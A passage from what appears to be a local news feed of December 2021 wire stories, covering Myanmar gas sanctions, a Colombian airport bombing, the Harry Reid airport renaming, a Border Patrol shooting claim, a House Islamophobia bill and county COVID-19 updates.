operation, given the remaining short life of the aging gas field and the grim political situation, he said. These operations are not company-makers by any sense, but they are profitable, Islam said. Also, Chevron and Totals aversion to sanctions may be less about money than about precedent, said John Sifton, Asia advocacy director at Human Rights Watch. If you signal that every time a country has serious human rights abuses, Human Rights Watch and other groups can come in and say, You should sanction your revenue, its going to create business headaches for them all over the world, he said. With public pressure mounting, Total and Chevron announced in May that they were suspending dividend payments by the Moattama Gas Transportation Company, which owns the Yadana pipeline. While welcoming the move as a first step, activists argue the dividend payments are a fraction of the militarys gas revenues. The energy analytics firm Wood Mackenzie in November downgraded its forecast of Myanmar gas exports to Thailand after Yadanas output fell faster than expected. Rights activists said Thai fears of a gas slowdown or cutoff at a time of surging prices across Asia have stiffened its resistance to new sanctions, which the U.S. and EU appeared reluctant to challenge. The Thai government did not respond with comment. In Myanmar, some gas workers have dismissed the energy companies concerns that they will face retaliation with sanctions, arguing the entire country is already oppressed. One 10-year employee of Total said the risk of losing his job due to sanctions was nothing compared to the risk of the generals remaining in power. Everyone needs a job, he said. But I dont want to survive by working here while everyone is suffering from this crisis. Given he and millions of others already have risked so much in the pursuit of democracy, he is frustrated with the international communitys failure to act. I dont understand why they keep paying the junta, he said. After the young woman whose family had long worked for Total protested outside its gates, the contractor company that hired her warned her not to participate again in the countrys pro-democracy Civil Disobedience Movement, she said. A few months later, she posted on social media about what she felt was Totals poor treatment of a colleague who died of COVID-19. Days later, she said, the contractor company fired her for allegedly defaming Total. In a statement, Total said that no Total E&P employees have been fired since the militarys takeover, and none have been prevented from participating in the Civil Disobedience Movement. In September, she was arrested and imprisoned for three weeks under Section 505(A) of the Penal Code, which, in part, criminalizes comments that cause fear or spread false news. I feel very disappointed in Total because they are neglecting this country in which they invested, she said. For another Total employee, the lack of action from those who claim to stand for human rights is baffling. Why, he asked, hasnt the international community told gas companies that if they do business with the military, they can no longer do business with the rest of the world? For him, the solution to military abuse is simple. If they do not have revenue, they cannot buy weapons, he says. If they cannot buy weapons, this revolution will end quickly. ___ Gelineau reported from Sydney and Hinnant reported from Paris. AP Business Writer Elaine Kurtenbach in Bangkok contributed to this report. Correspondents Matt Lee and Ben Fox contributed from Washington, D.C. By KRISTEN GELINEAU, VICTORIA MILKO and LORI HINNANT Associated Press Amid military atrocities, Myanmar public urges gas sanctions View Photo JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She worked for Total Energies, the French company that operates a gas field off Myanmars coast with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Yadana gas field. As military abuses such as the murder and detention of thousands grew, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman has since lost her job. And later, after protesting the militarys takeover of her country, she was thrown into prison for three weeks. I feel very disappointed in Total because they are neglecting this country in which they invested, says the young woman, whose name is being withheld by The Associated Press to protect her from retaliation by the military. Total and energy giant Chevron, which also is a partner in Yadana, say they are trying to protect their employees in Myanmar, and also to keep crucial gas supplies flowing to the people of Myanmar and Thailand. In August, Myanmar activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. The United Nations top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, hundreds of human rights organizations in Myanmar joined their international colleagues in signing a letter asking Totals CEO to stop payments to military-controlled accounts. The AP also obtained a copy of a letter from workers at Yadana to their managers calling on Totals subsidiary, Total E&P Myanmar, to suspend export payments to the military and place the funds in a protected account. Activists are looking not to shut down the gas field, but to place revenues in an offshore bank account that the military cant touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailands PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. About 50 percent of Myanmars foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline earned around $400 million in revenues in 2017-2018. Yet neither U.S. President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmars oil and gas revenues. In response to questions from the AP, the U.S. State Department pointed to a list of other people and entities the U.S. has already sanctioned, including military officials and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. U.S. Secretary of State Antony Blinken said Wednesday that the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the militarys ability to maintain control. But a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administrations hesitation to impose new sanctions, as has lobbying from Chevron. Singapores banks are accused by activists of holding assets on the militarys behalf, although Singapore denied in February that they had significant funds from Myanmar companies and individuals. In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the U.S., with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying issues of focus. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the U.S. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government says it is excluding sanctions on oil and gas because it wants to avoid adding to the burdens of Myanmar civilians, and to target individuals from the junta rather than a vital economic sector. France also wants to stay involved on the ground, which requires operational contacts with Myanmars administration, according to a senior official in the French presidents office. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the militarys takeover, and that both the energy and banking sectors are on the table. Total cancelled exploration for new deposits in Myanmar after the military takeover. Total said in a statement that it is trying to keep its employees in Myanmar safe from reprisals such as forced labor. Total also argues that it has to pay taxes and respect its contract legally, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total said it would willingly comply with any new international sanctions, which would override local laws that govern its contracts in Myanmar. In particular, should MOGE be under economic sanctions it would oblige all parties to put all cash flows due to MOGE in an escrow account, the company told AP in a statement. We have taken all possible measures under our control and respecting the legal framework without putting our staff at risk. But some employees say the risk to them pales in comparison to the risk to the entire country. And MOGE can be sanctioned without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. Activists say its unconscionable for any company to help fund a military that has engaged in mass torture and forcibly disappeared thousands. The military told the AP that state revenue is used for education, infrastructure and public service, and is also used proportionately for the rule of law and for defense. Putting restrictions on the current government is directly affecting the social and economic life of the citizens, the military said in a statement to the AP. ___ Gelineau reported from Sydney and Hinnant reported from Paris. AP Business Writer Elaine Kurtenbach in Bangkok and correspondent Ben Fox in Washington contributed to this report. By KRISTEN GELINEAU, VICTORIA MILKO and LORI HINNANT Associated Press EU, ex-Soviet state leaders meet as Russia tensions simmer View Photo BRUSSELS (AP) As tensions with Russia simmer, European Union leaders met Wednesday with their counterparts from Ukraine and four other former Soviet republics and pledged to deepen political, trade, energy and cultural ties. The EUs Eastern Partnership includes Armenia, Azerbaijan, Belarus, Georgia, Moldova and Ukraine. The president of Belarus, Alexander Lukashenko, is boycotting the forum due to EU sanctions over reported fraud in his reelection last year a security crackdown on antigovernment protesters that followed. A Belarus flag was left at the summit table where he would have sat. There was an empty chair in the room, and I hope that this chair will soon be filled by a legitimate, democratically elected Belarusian leader, European Commission President Ursula von der Leyen said. The Eastern Partnership was set up after Moscow sent troops into Georgia in 2008, stunning the Europeans and much of the world. It aims to improve and deepen relations among the six countries, most of which share borders with Russia and are strategically important energy hubs, as well as with the 27-nation EU. The meeting was intended to affirm the participants strong commitment to our strategic, ambitious and forward-looking partnership, based on common fundamental values, according to the final summit declaration. The 32 countries taking part said they are bound by our joint determination to further strengthen democracy and the rule of law in our societies, according to the text, which was released after five hours of talks in Brussels. The word Russia was not once mentioned in the nine-page declaration, despite Moscows opposition to any of the six countries involved in the partnership deepening ties with the EU. The EU announced that it would offer the Eastern countries a 2.3 billion-euro ($2.6 billion) economic and investment plan, which the bloc hopes will attract up to 17 billion euros ($19 billion) in public and private investments for the region. The EU also emphasized the need for differentiation the acceptance that some of the six may be in a position to deepen their relations with the bloc more quickly. Georgia, Moldova and Ukraine, for example, have free trade pacts that ease tariffs and other barriers to European trade. In 2014, Ukraines then president, Petro Poroshenko, signed its trade deal, ignoring vehement opposition from Moscow, and declared that his country wanted to join the EU. His pro-Russian predecessor was forced to flee Ukraine after his rejection of the free trade deal sparking months of pro-EU demonstrations. Explosion near Colombia airport kills two policemen View Photo BOGOTA, Colombia (AP) Two explosions hit the airport in the Colombian border city of Cucuta on Tuesday, killing two policemen and a person believed to be carrying an explosive. Defense Minister Diego Molano said the blasts were caused by terrorist groups that operate in the city of half a million people, which is located on the border with Venezuela and is a hub for commerce and migration. Police said the first blast took place at 5 a.m. as a man carrying explosives tried to climb over a fence that separates the airports runway from one of the citys neighborhoods. The man died instantly in the blast. About an hour later a second blast occurred as police inspected a package that had been left in the area, killing two members of the polices anti-explosives squad. Though the explosions took place near the airports runway, the passenger terminal was not affected. But flights were suspended and passengers were evacuated from the building. Authorities offered a reward of roughly $25,000 for information about the attack. Cucuta is the capital of North Santander state, a border region that has recently seen a surge in fighting between guerrilla groups and drug trafficking gangs that are vying for control of coca crops and trafficking routes. In June, a car bomb was set off at a military base in the outskirts of the city, where U.S. military advisers were working. Then in August a bomb was set off outside a police station, injuring 14 people. President Ivan Duques helicopter was also shot at during a recent visit to the city. The president emerged unharmed from the attack. Armed organizations operating in North Santander include the National Liberation Army guerrilla group, and dissident groups formed by former members of the Revolutionary Armed Forces of Colombia who refused to sign a 2016 peace deal with Colombias government. Tuolumne County Public Health reports 14 new Covid cases since yesterday, 11 are unvaccinated. Due to the inclement weather the Black Oak Casino Covid-19 vaccine clinic was rescheduled, visit MyTurn.ca.gov to find an alternate clinic or check back for the rescheduled Black Oak Casino clinic dates and times. Tuolumne Countys active cases increased one to 70 including three unvaccinated people who are hospitalized. Todays newly reported cases had four cases age 17 or younger and one case age 60 or older. New Covid cases by gender and age: two boys age 0 to 11, one girl and one boy age 12 to 17, four men age 18 to 29, two woman and one man in their 30s, one man in his 40s, one women her 50s, and one woman her 70s. The total current case rate, a 14-day average for Tuolumne County decreased to 19.4 from 20.6 per 100,000 population. A total of 12 individuals were released from isolation, in all 6,189 have been released from isolation. There have been 6,407 community cases and 148 deaths. There were 18 Covid deaths in October, 20 in November and 7 this month for a total of 45 Covid deaths since October in Tuolumne. A total of 58% of the population eligible to get vaccinated has been vaccinated. There have been 1,621 inmate cases, the California Department of Corrections and Rehabilitation (CDCR) reports no active Covid case at the Sierra Conservation Center. The SCC manages 3,271 inmates including all the southern fire conservation camps. Tuolumne also shared information about ways to manage needle fears and phobia, Many people do not like needles as part of medical procedures when they receive care. But for some, the fear of needles is so great that it might prevent them from getting life-saving medical care, like vaccinations. This fear often affects children but can affect adults, too. Estimates show that as many as 2 in 3 children and 1 in 4 adults have strong fears around needles. For ways to manage this fear and help others with it, view the CDCs information guide here. Calaveras County Public Health reports 19 new cases, active cases increased seven to 21 with five hospitalized. The total number of confirmed cases is 4,501. Two of the new cases are age 17 or younger and two are age 65 and older, in total 826 under age 17 and 759 over 65 have been identified with covid. There are 12 more recovered cases for a total of 4,389 cases recovered and 54.93% of the eligible population is fully vaccinated in the county. There are 91 Covid deaths in Calaveras since the pandemic began. There were 8 Covid deaths in October, 6 in November and 2 this month for a total of 17 Covid deaths since October in Calaveras. California Public Health As detailed here yesterday beginning Wednesday, December 15, the California Department of Public Health (CDPH) is requiring universal masking for all public indoor settings. In all indoor public settings masks are to be worn irrespective of vaccine status through January 15, 2022. The CDPH stated the move was in response to increasing case rates and hospitalizations to slow the spread of both Delta, the highly transmissible Omicron variant, to increase protection for individuals, families, and communities during the holidays. Additionally, CDPH updated requirements for attending mega events, like concerts and sporting events. Effective December 15th, prior to attending an event, attendees will now require either proof of vaccination, a negative antigen Covid-19 test within one day of the event, or a negative PCR test within two days of the event. CDPH also issued a new travel advisory effective immediately to recommend that all travelers arriving in California test for COVID-19 within three to five days after arrival, regardless of their vaccination status. COVID-19 Testing Public health recommends scheduling an appointment to get tested 5 days after possible exposure and if you are having any symptoms, get tested right away. The Tuolumne County State testing site is open 7 days a week from 7 AM to 7 PM at the Mother Lode Fairgrounds. Appointments can be scheduled at www.lhi.care/covidtesting or by calling 888-634-1123. Testing is at pharmacies, at Rapid Care and the hospital emergency department if you are experiencing any symptoms, or contact your healthcare provider. The Mariposa LHI/OptumServe testing site is moving to the YARTS Park and Ride beside Rite Aid and will be open on Tuesday, December 14 and thereafter with the following hours: Tuesdays to Saturdays, 7:00 am to 12:00 pm, 1:00 to 4:00 pm, and 5:00 to 7:00 pm. COVID-19 Vaccine appointments and booster vaccine shots and vaccine appointments for children ages 5 to 11 can be made through myturn.ca.gov, by calling 833-422-4255, or the pediatric vaccine may also be available through some pharmacies and healthcare providers more details are here. CDPH notes unvaccinated people were 7.1 times more likely to get COVID-19 (data from November 21, 2021 to November 27, 2021) Unvaccinated people were 12.5 times more likely to be hospitalized with COVID-19 (data from November 14, 2021 to November 20, 2021). Unvaccinated people were 13.0 times more likely to die from COVID-19 (data from November 7, 2021 to November 13, 2021). County/Date Active New Total Deaths Amador 12/14 38 9 3,877 60 Calaveras 12/14 21 19 4,501 91 Mariposa 12/14 28 1 1,658 18 Mono 12/14 62 0 1,750 5 Stanislaus 12/14 1,239 81 82,732 1,455 Tuolumne 12/14 69 27 8,015 148 Sonora, CA Not only will all students get free classes at Columbia College next semester, but some will get extra cash with the coronavirus pandemic contributing to those savings. Through the Free for Me campaign, the college is waiving tuition and fees for all registered students for the spring 2022 semester and giving students $250 cash and $250 in bookstore credit, for a total of $500, to students who submit proof of COVID vaccination and who take at least six units. For free tuition, there are no maximum or minimum units to be taken and all students that enroll are eligible for this program regardless of citizenship or residency. Also, you need not be a current student. College officials say the programs goal is that it will reverse the negative enrollment and academic achievement trends brought on by the COVID-19 pandemic and aims to reduce barriers and increase access to education for the community. To qualify, students must apply for admission to the college, complete a free application for Federal Student Aid (FAFSA), California Dream Act Application (CADAA), or the California College Promise Grant (CCPG) and register for spring 2022 classes. More information on the Free for Me campaign can be viewed here. Vegas welcomes a new name: Harry Reid International Airport View Photo LAS VEGAS (AP) Former U.S. Sen. Harry Reid of Nevada didnt attend a renaming ceremony on Tuesday making him the namesake of the busy international airport in Las Vegas, but praise was heaped upon him for his foresight and state infrastructure advocacy. He knew it was the gateway to boosting tourism, Carlos Monje, U.S. transportation undersecretary, told family members, elected leaders and administrators gathered at the facility known since December 1948 as McCarran International Airport. By investing in infrastructure all around the Las Vegas Strip, visitors are able to more easily (access) the properties and generate millions and billions of revenue for the state, Monje said. Reids son, former Clark County Commission chairman and Democratic gubernatorial candidate Rory Reid, said his father regretted not being able to be here to mark the new name, Harry Reid International Airport, but said he understands what an incredible honor this is for him. Rory Reid declined comment later when reached by The Associated Press. The Las Vegas Review-Journal reported the 82-year-old Reid and his wife, Landra, decided not to attend because of the ongoing threat of COVID-19. Reid was diagnosed with pancreatic cancer in 2018. Landra Reid is a cancer survivor. Harry Reid served in the U.S. Senate for 30 years, including eight years as Democratic majority leader from 2007 to 2015. He was the longest-serving senator in Nevada history when he retired in 2017. He also served from 1983 to 1987 in the U.S. House of Representatives. In a statement, the native of Searchlight, Nevada, recalled his first airplane ride at the airport in 1958 and his more than three decades of trips home from Washington. I worked hard during my years in Congress to help build and grow the airport, and it is a source of tremendous pride to me, Reid said in the statement. It is the indispensable ingredient to Las Vegas success; its the gateway through which millions come from every corner of the world to see our city, which is like no other place on earth. Reid pushed for development of the Terminal 3 international arrivals annex, which opened in June 2012 and served as the site of Tuesdays ceremony. The airport handled 51.5 million passengers in pre-coronavirus 2019, including some 3.8 million from cities including London, Amsterdam, Mexico City, Frankfurt, Germany, and Tel Aviv, Israel. The airport ranks among the 10 busiest in the U.S. The airport was founded as Alamo Field in 1942. It was named 73 years ago for then-U.S. senator from Nevada Pat McCarran, a Democrat whose legacy is clouded by accounts of racism, xenophobia and antisemitism during his time in public office. McCarran also owned the airport, and he lobbied for commercial aviation, federal public works and benefits for his home state. He died in 1954. Clark County now owns the airport and elected local lawmakers voted unanimously in February to make the name change after years of advocacy led by Clark County Commissioner Tick Segerblom. Sen. McCarran, in retrospect, was not a perfect human being and did and said a lot of bad things, Segerblom said Tuesday. We are not the Nevada Senator McCarran worked at or lived in. We are a very multicultural, diverse, a multiracial, a multi-ethnic city. Officials have said the expected $7.2 million cost to rename the airport is being privately raised, with some $3 million still to come to be used for changing signs and markers from curb to gate at the airport, and for vehicle decals, uniforms and administrative costs. The airports Federal Aviation Administration designator remains LAS, but the FAA began listing the Reid name on aviation charts in June. Airport spokesman Joe Rajchel said passengers will notice changes on airport social media channels including Facebook and Twitter, although its Twitter handle remains @LASairport. COVID case in Blinken press curtails his Southeast Asia tour View Photo BANGKOK (AP) A positive COVID-19 test among U.S. Secretary of State Antony Blinkens traveling party has cut short the top diplomats first official tour of Southeast Asia. A member of the press corps accompanying Blinken on what was to have been a three-nation visit to Indonesia, Malaysia and Thailand tested positive for the coronavirus on Wednesday in Kuala Lumpur, forcing Blinken to abandon the program at his next and last stop in Bangkok, and return to the United States. Instead of spending Wednesday night in Bangkok, Blinken flew to the Thai capital for a brief logistical layover before traveling to Guam to refuel and then continuing on to Hawaii. At the airport in Bangkok, at least two Thai ground crew members were seen wearing full protective gear as they serviced Blinkens plane. The abrupt change in plans was caused in part by fears that others in the delegation might also test positive, requiring them to quarantine in Thailand over the Christmas holiday. The journalist who tested positive will stay in Kuala Lumpur for a mandatory 10-day isolation. U.S. State Department spokesman Ned Price said Blinken spoke with Thai Foreign Minister Don Pramudwinai to explain the change of plans. The secretary expressed his deep regret to the FM that he would not be able to visit Bangkok this week. He explained that in order to mitigate the risk of the spread of COVID-19 and to prioritize the health and safety of the U.S. traveling party and those they would otherwise come into contact with the secretary would be returning to Washington, D.C. out of an abundance of caution, Price said. Neither Blinken, any of his senior staff nor other members of the press corps have tested positive so far, according to Price. In a statement posted online, the U.S Embassy in Kuala Lumpur said it informed the Malaysian government of the virus case and thanked the Malaysian authorities for their support. The sole member of the traveling party who tested positive is observing all requirements of the Ministry of Health, the embassy said. We can confirm that the person was not involved and has not participated in any of Secretary Blinkens program in Kuala Lumpur. Blinken arrived in Kuala Lumpur late Tuesday from Jakarta, Indonesia. He began his current journey in the English city of Liverpool, where he participated in a Group of Seven foreign ministers meeting over the weekend. The State Department has been testing those on Blinkens plane for the virus on a daily basis and Price said the journalist had tested negative in both Liverpool and Jakarta. By MATTHEW LEE AP Diplomatic Writer Zebras on the run for months in Maryland have been captured UPPER MARLBORO, Md. (AP) Two zebras running loose since escaping a Maryland farm about four months ago have been caught. Prince Georges County Animal Services and the U.S. Department of Agriculture werent involved in the capture but were told Monday that the animals returned to their herd last week, The Washington Post reported. In late August, the two zebras fled from an Upper Marlboro farm where officials have said about 40 zebras live. Residents in the region shared sightings of the free-roaming pair on social media, and even Washingtons Del. Eleanor Holmes Norton chimed in on the escape. The duo was originally a trio, but one got caught in an illegal snare trap on a neighboring property and died soon after the breakout. The county filed animal cruelty charges against owner Jerry Holly in October after another zebra was found dead inside the farms enclosure. Holly is accused of inflicting unnecessary suffering or pain on a zebra and failing to provide nutritious food in sufficient quantity or give the herd proper shelter. Lawyer Steven B. Vinick emailed The Post on Tuesday saying his client has been and is a respected businessman in Prince Georges County, and he looks forward to being able to show in court that there is no merit whatsoever to any of the charges pending against him. USDA inspectors said in a recent report that the zebras escaped during the unloading process. The herd was moved to Maryland from Florida over the summer, according to County Animal Services Chief Rodney Taylor. Prince Georges officials worked with the animals caretakers for weeks, trying to lure the fugitives into a corral using food and other zebras. A Twitter parody account for the zebras said Tuesday, Well, Well, Wellthey got us. We had an amazing time and its all about being outside. Mexican woman shot in head by US Border Patrol files claim View Photo PHOENIX (AP) Attorneys for a Mexican woman who was shot in the head by a Border Patrol agent and survived announced Wednesday that they filed a claim against the U.S government as a precursor to a federal lawsuit. The claim filed with the Border Patrol by Marisol Garcia Alcantara, who had arrived in the U.S. shortly before the shooting over the summer in Nogales, Arizona, is necessary before a civil action is filed next year with the U.S. District Court in Tucson. I want to know why, why did they do that and why me? Garcia, 37, said in an interview last week from her family home outside Mexico City. I am looking for justice. I want an apology from that person and help for medical care and medicine because I cant work, she said. The bullet entered Garcias head above her left eye and fragments still remain in her brain, putting her at risk of seizures. She said that a half-year later she still suffers from loss of memory, dizzy spells and headaches. Customs and Border Protection, which oversees the Border Patrol, said the agency could not comment because the shooting was still being investigated internally by its Office of Professional Responsibility. It will also be reviewed by the CBPs National Use of Force Review Board. The agents identity has not been revealed. Garcias legal team have said the Border Patrol is not in a position to impartially investigate the June 16 shooting. They point to longstanding concerns over Border Patrol units known as Critical Incident Teams, which collect information about agents use of force. Detractors call them shadow units that may impede investigations into whether agents actions are justified. Attorney Eugene Iredale, who is representing Garcia, called the teams the administrative equivalent of an anti-internal affairs squad designed to protect the agency from liability. The Southern Border Communities Coalition, a nonprofit advocacy group, on Wednesday reiterated calls for a congressional investigation into the shooting and the Critical Incident Teams. This incident is not unique, said Rep. Raul Grijalva, a Democrat who represents southern Arizona and supports such an inquiry. This is a pattern that needs to be dealt with. CBP said the Critical Incident Teams do not lead investigations, but rather collect evidence for other agencies, in this case under the direction and supervision of the FBI. Garcia said American officials never asked her about the shooting. No one investigated, she said. I returned to Mexico without making a declaration. Garcia said she had gone to the U.S. to visit her mother and look for work to support her three daughters. Shortly after arriving in the U.S., she was among a group of people riding in a SUV in the border city of Nogales, Arizona, sitting behind the driver. She heard a siren, felt pain in her head, and her vision blurred while people in the vehicle tended to her wound. She was rushed to a nearby hospital then flown by helicopter to another one in Phoenix where she had surgery that night. Garcia said after two days in Phoenix, she was taken to a detention center for several weeks until she was sent back to Mexico. The announcement of the claim comes just days after Chris Magnus, the reform-minded Tucson police chief, was sworn in as CBP commissioner. Magnus updated Tucsons use-of-force policies and made many other changes during his time with the department. ___ Associated Press writer Elliot Spagat contributed to this report from San Diego. By ANITA SNOW Associated Press House responds to GOPs Boebert with Islamophobia bill View Photo WASHINGTON (AP) When Republican Rep. Lauren Boebert cracked a racist, Islamophobic joke about Democratic Rep. Ilhan Omar, it wasnt the first time she mocked the Muslim congresswoman. Boebert had derided Omar during a House floor debate last month, taunting the Somali-born, Muslim-American immigrant as a member of the jihad squad of liberal lawmakers. The House on Tuesday took the first formal step at a response, with a 219-212 party-line vote to approve legislation sponsored by Omar that would establish a new special envoy position at the State Department to monitor and combat Islamophobia worldwide. In introducing the debate, Rep. James McGovern, the Democratic chairman of the House Rules Committee, cited surveys showing an uptick of anti-Muslim sentiment nationwide and around the world and the need for an energetic U.S. response. McGovern said the House had arrived at this moment because a colleague has told a completely fabricated story again and again that implies a Muslim colleague is a terrorist just because they are Muslim. Those actions are a stain on this entire institution, he said, without naming Boebert, the freshman lawmaker from Colorado. This House is better than the worst actions of a few here. The bill is unlikely to advance in the Senate. But the ordeal provides yet another window onto the state of affairs in the Republican Party left behind by Donald Trump, almost a year after his supporters stormed the Capitol trying to overturn Joe Bidens election. Republican leaders are unwilling or unable to publicly admonish their own, particularly those allied with Trump, even when their everyday rhetoric borders on racist hate speech. Speaker Nancy Pelosi told reporters Tuesdays vote will not be the last word from the Democratic leaders on Boeberts behavior. But they have repeatedly said its up to the Republican leadership to stand up to their most outspoken members who cross a line. The Democrats so far have refrained from more punitive actions of censuring Boebert or removing her committee assignments, as they have for other lawmakers and as some Democrats wanted. Rep. Kevin McCarthy, the minority leader, has not signaled any further steps. McCarthy, R-Calif., has said he helped engineer a phone call between Boebert and Omar days after the Republicans remarks came under scrutiny. And before the call, he said Boebert had apologized. But her apology to anyone in the Muslim community I offended fell short for some lawmakers. Rather than smoothing tensions, the call between Boebert and Omar ended abruptly. Boebert refused Omars request for a public apology, and said Omar hung up on her. Omar said in a statement that she ended an unproductive call. Boebert set off the firestorm around Thanksgiving after a video posted to Facebook showed her telling constituents about an interaction with Omar at a House elevator. As she stepped on the elevator, Boebert said she spotted Omar. Well, she doesnt have a backpack, Boebert recalled saying, an apparent reference to a suicide bomb. We should be fine. Omar, one of just a few Muslims in Congress and the only lawmaker who regularly wears a religious headscarf, said the scene never happened. It wasnt the first time Boebert, the conservative newcomer, has tested the rules of civility. Last month, Boebert derided Omar as a member of the jihad squad during the House debate to censure another Republican, Rep. Paul Gosar, R-Ariz. He was being reprimanded for having tweeted an animated video depicting the slaying of another member of the so-called squad of liberal lawmakers, Rep. Alexandria Ocasio-Cortez, D-N.Y. Gosar, shortly after the censure vote, reposted the offensive video to his Twitter account. In many ways, the Republican lawmakers are taking a page from Trumps playbook. On the campaign trail and in the White House, Trump routinely mocked minority groups, derided certain African countries with a vulgarity, and slapped a ban on arrivals from predominantly Muslim countries as one of his early executive actions as president. Omar, who arrived in the U.S. as a child and now serves on the House Foreign Affairs Committee, spoke during Tuesdays debate about the bill, saying that as a country founded on religious liberty, the U.S. must fight against religious persecution of Muslims an others worldwide. We must lead the global effort, she said. As Americans we should stand united against all forms of bigotry. Republican opponents said the bill was too quickly produced, failed to fully define Islamophobia and shouldnt provide special protections for Muslims separate from other religious groups. One Republican, Rep. Scott Perry of Pennsylvania, brought up past statements by Omar that he said were anti-Semitic and supportive of terrorism. Shortly after taking office in 2019, Omar, who has been critical of Israel, tweeted that some lawmakers are only supportive of the Jewish state for the fundraising money a comment widely seen as a slur. At the time, she unequivocally apologized. Perry also mentioned Omars remarks about the Sept. 11, 2001, attacks that were seen as dismissive but have also been circulated out of context. Democrats moved to strike Perrys comments from the record as violating House rules. Boebert did not speak during the debate. Rep. Jan Schakowsky, D-Ill., co-sponsor of the anti-Islamophobia bill, said of Omar: She has been subjected to relentless attacks and horrifying threats not just from her fellow Americans, but even within the halls of Congress. And enough is enough. By LISA MASCARO AP Congressional Correspondent House responds to GOPs Boebert with Islamophobia bill View Photo WASHINGTON (AP) When Republican Rep. Lauren Boebert cracked a racist, Islamophobic joke about Democratic Rep. Ilhan Omar, it wasnt the first time she mocked the Muslim congresswoman from Minnesota. Boebert had derided Omar during a House floor debate last month, taunting the Somali-born, Muslim-American immigrant as a member of the jihad squad of liberal lawmakers. The House on Tuesday took the first formal step at a response, with a 219-212 party-line vote to approve legislation sponsored by Omar that would establish a new special envoy position at the State Department to monitor and combat Islamophobia worldwide. In introducing the debate, Rep. James McGovern, the Democratic chairman of the House Rules Committee, cited surveys showing an uptick of anti-Muslim sentiment nationwide and around the world and the need for an energetic U.S. response. McGovern said the House had arrived at this moment because a colleague has told a completely fabricated story again and again that implies a Muslim colleague is a terrorist just because they are Muslim. Those actions are a stain on this entire institution, he said, without naming Boebert, the freshman lawmaker from Colorado. This House is better than the worst actions of a few here. The bill is unlikely to advance in the Senate. But the ordeal provides yet another window onto the state of affairs in the Republican Party left behind by Donald Trump, almost a year after his supporters stormed the Capitol trying to overturn Joe Bidens election. Republican leaders are unwilling or unable to publicly admonish their own, particularly those allied with Trump, even when their everyday rhetoric borders on racist hate speech. Speaker Nancy Pelosi told reporters Tuesdays vote will not be the last word from the Democratic leaders on Boeberts behavior. But they have repeatedly said its up to the Republican leadership to stand up to their most outspoken members who cross a line. The Democrats so far have refrained from more punitive actions of censuring Boebert or removing her committee assignments, as they have for other lawmakers and as some Democrats wanted. Rep. Kevin McCarthy, the minority leader, has not signaled any further steps. McCarthy, R-Calif., has said he helped engineer a phone call between Boebert and Omar days after the Republicans remarks came under scrutiny. And before the call, he said Boebert had apologized. But her apology to anyone in the Muslim community I offended fell short for some lawmakers. Rather than smoothing tensions, the call between Boebert and Omar ended abruptly. Boebert refused Omars request for a public apology, and said Omar hung up on her. Omar said in a statement that she ended an unproductive call. Boebert set off the firestorm around Thanksgiving after a video posted to Facebook showed her telling constituents about an interaction with Omar at a House elevator. As she stepped on the elevator, Boebert said she spotted Omar. Well, she doesnt have a backpack, Boebert recalled saying, an apparent reference to a suicide bomb. We should be fine. Omar, one of just a few Muslims in Congress and the only lawmaker who regularly wears a religious headscarf, said the scene never happened. It wasnt the first time Boebert, the conservative newcomer, has tested the rules of civility. Last month, Boebert derided Omar as a member of the jihad squad during the House debate to censure another Republican, Rep. Paul Gosar, R-Ariz. He was being reprimanded for having tweeted an animated video depicting the slaying of another member of the so-called squad of liberal lawmakers, Rep. Alexandria Ocasio-Cortez, D-N.Y. Gosar, shortly after the censure vote, reposted the offensive video to his Twitter account. In many ways, the Republican lawmakers are taking a page from Trumps playbook. On the campaign trail and in the White House, Trump routinely mocked minority groups, derided certain African countries with a vulgarity, and slapped a ban on arrivals from predominantly Muslim countries as one of his early executive actions as president. Omar, who arrived in the U.S. as a child and now serves on the House Foreign Affairs Committee, spoke during Tuesdays debate about the bill, saying that as a country founded on religious liberty, the U.S. must fight against religious persecution of Muslims an others worldwide. We must lead the global effort, she said. As Americans we should stand united against all forms of bigotry. Republican opponents said the bill was too quickly produced, failed to fully define Islamophobia and shouldnt provide special protections for Muslims separate from other religious groups. One Republican, Rep. Scott Perry of Pennsylvania, brought up past statements by Omar that he said were anti-Semitic and supportive of terrorism. Shortly after taking office in 2019, Omar, who has been critical of Israel, tweeted that some lawmakers are only supportive of the Jewish state for the fundraising money a comment widely seen as a slur. At the time, she unequivocally apologized. Perry also mentioned Omars remarks about the Sept. 11, 2001, attacks that were 